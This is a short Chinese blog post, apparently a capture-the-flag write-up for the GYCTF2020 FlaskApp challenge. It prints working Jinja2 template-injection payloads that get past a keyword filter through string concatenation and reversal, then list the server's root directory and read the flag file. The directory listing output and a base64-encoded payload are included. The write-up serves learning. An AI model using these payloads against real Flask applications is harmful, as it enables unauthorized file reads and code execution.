[GYCTF2020]FlaskApp_ezflaskapp-优快云博客

本文链接：https://blog.youkuaiyun.com/Logerrik/article/details/106060057

本文详细介绍了GYCTF2020中FlaskApp题目利用SSTI模板注入技巧，通过巧妙的字符串拼接绕过函数过滤，成功获取服务器目录信息及flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

[GYCTF2020]FlaskApp

1.开始

网站有加密和解密两个功能
感觉就像是个ssti模板注入但是加密的时候输入{{config}}之类的都会直接被加密
解密的时候输入{{config}}意外的发现进入了debug模式
但是还是不会做只能抄抄大佬的wp

2.解题

看了看大佬的wp
源码里过滤了os和fsystem等函数还有flag也被过滤了
但是可以用一个字符串拼接的骚操作

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

 [&#39;bin&#39;, &#39;boot&#39;, &#39;dev&#39;, &#39;etc&#39;, &#39;home&#39;, &#39;lib&#39;, &#39;lib64&#39;, &#39;media&#39;, &#39;mnt&#39;, &#39;opt&#39;, &#39;proc&#39;, &#39;root&#39;, &#39;run&#39;, &#39;sbin&#39;, &#39;srv&#39;, &#39;sys&#39;, &#39;tmp&#39;, &#39;usr&#39;, &#39;var&#39;, &#39;this_is_the_flag.txt&#39;, &#39;.dockerenv&#39;, &#39;app&#39;]

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

#eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9

反正大佬这操作我是没学会，之后还得好好看看ssti模板注入，现在基本上只能判断下是哪种ssti，具体怎么注入还是直接搜答案